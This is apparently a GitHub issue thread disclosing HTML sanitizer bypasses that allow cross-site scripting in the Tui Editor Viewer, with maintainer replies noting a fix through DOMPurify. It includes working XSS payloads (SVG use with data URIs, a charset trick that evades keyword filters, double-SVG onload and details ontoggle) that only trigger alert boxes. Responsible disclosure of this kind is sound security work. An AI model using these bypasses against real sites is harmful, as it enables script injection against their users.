HTML sanitizer bypass && Viewer XSS

Describe the bug

I see that you have fixed some XSS (Cross-Site Scripting) vulnerabilities in the https://github.com/nhn/tui.editor/pull/1670, that’s great. But I could find out some new payloads and bypasses of the patch in the HTML sanitizer.

The purpose of this issue is to describe 3 types of XSS payload that work in the latest version of Tui Editor Viewer.

1. SVG and Use

<use> with a whitelist attribute href that could lead to a user interaction required XSS:

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyAKICAgIHhtbG5zOnhsaW5rPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rJyB3aWR0aD0nMTAwJyBoZWlnaHQ9JzEwMCc+PGEgeGxpbms6aHJlZj0namF2YXNjcmlwdDphbGVydCgxKSc+PHJlY3QgeD0nMCcgeT0nMCcgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnIC8+PC9hPjwvc3ZnPg#x"></use></svg>

Another payload that can bypass keyword javascript: checks:

<svg><use href="data:image/svg+xml;charset=ISO-2022-JP,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javas%1B%28Bcript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

2. Double SVG and patch bypass

Double svg payload is fixed in the https://github.com/nhn/tui.editor/pull/1670, but a simple regexp replacement can not solve the problem.

After code review of the newest HTML sanitizer, I find 3 payloads that can execute arbitrary javascript without user interaction at the Viewer:

<svg><svg onload=alert(1) onload=alert(2)>

<svg><svg x=">" onload=alert(1)>

<p><svg><svg onload=onload=alert(1)></svg></svg></p>

3. Details and ontoggle

A payload which is similar to <svg><svg onload=alert(1)>:

<details open ontoggle=alert(1)>

Method 2 and 3 have same principle. I suggest that you shoud replace DOM.innerHTML with DOMParser API to defend this type of attack, or better to use a well-tested third-party HTML sanitizer instead like https://github.com/cure53/DOMPurify.

To Reproduce

A simple code to reproduce:

const viewer = new Viewer({
  el: document.querySelector('#viewer'),
  height: '600px',
  initialValue: `<svg><svg x=">" onload=alert(1)>`
});

Also you can replace initialValue to another payloads to test.

Expected behavior

No JavaScript is executed.

[js87zz]

@phith0n @Ben-Mack @wfinn The bug has been fixed in v3.1.1. In order to solve frequent bugs for sanitizer, DOMPurify was applied, and the above issue was resolved. Thanks for waiting!

[js87zz]

@Ben-Mack Our sanitizer will be improved using DOMPurify later. If necessary before then, please use the option below.

import DOMPurify from 'dompurify';

const purifyOptions = { ... };
const editor = new Editor({
  // ...
  customHTMLSanitizer: html => {
    return DOMPurify.sanitize(html, purifyOptions) || ''
  }
});